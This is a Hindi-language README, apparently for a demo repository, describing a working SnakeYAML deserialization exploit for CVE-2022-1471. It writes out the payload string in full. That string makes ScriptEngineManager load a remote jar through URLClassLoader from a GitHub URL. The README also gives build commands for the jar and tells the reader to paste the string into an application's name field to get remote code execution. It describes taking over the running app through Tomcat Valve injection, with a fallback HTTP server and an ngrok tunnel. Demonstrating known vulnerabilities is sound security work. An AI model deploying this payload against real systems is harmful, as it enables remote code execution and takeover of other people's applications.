
SnakeYAML CVE-2022-1471 एक्सप्लॉइट पेलोड डेमो के लिए
SnakeYAML deserialization शोषण पेलोड CVE-2022-1471 के लिए, artsploit/yaml-payload से अनुकूलित (मूल रूप से mbechler/marshalsec पर आधारित)।
जब SnakeYAML के असुरक्षित Yaml.load() के माध्यम से लोड किया जाता है, तो यह पेलोड चल रहे एप्लिकेशन को नियंत्रित कर लेता है और इसे "You've Been PWNED" पेज से बदल देता है:
यदि Tomcat Valve इंजेक्शन उपलब्ध नहीं है (जैसे गैर-Spring ऐप), तो यह पोर्ट 9999 पर एक स्टैंडअलोन HTTP सर्वर शुरू करने और यदि ngrok चल रहा है तो स्वचालित रूप से एक ngrok टनल बनाने पर वापस आ जाता है।
यह स्थानीय रूप से macOS पर और CI/CD पाइपलाइनों (जैसे Ubuntu पर GitHub Actions) में काम करता है।
SnakeYAML पेलोड Java SPI (Service Provider Interface) के माध्यम से को ट्रिगर करता है:
ScriptEngineManager!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
yaml-payload.jar की ओर इशारा करते हुए java.net.URL को इंस्टैंशिएट करता हैURLClassLoader में लपेटता हैScriptEngineManager META-INF/services/javax.script.ScriptEngineFactory के माध्यम से AwesomeScriptEngineFactory की खोज और लोडिंग करता है/ पर प्रत्येक बाद की प्रतिक्रिया को PWNED पेज से बदल देता हैJDK 17+ आवश्यक है:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
maven-demo प्रोजेक्ट में शोषण पेलोड के रूप में उपयोग किया जाता है। RCE ट्रिगर करने के लिए पेलोड स्ट्रिंग को ऐप के नाम फ़ील्ड में पेस्ट करें। अगली रिक्वेस्ट पर ऐप का पेज PWNED पेज से बदल दिया जाएगा। पूर्ण डेमो निर्देशों के लिए उस रिपॉजिटरी का README देखें।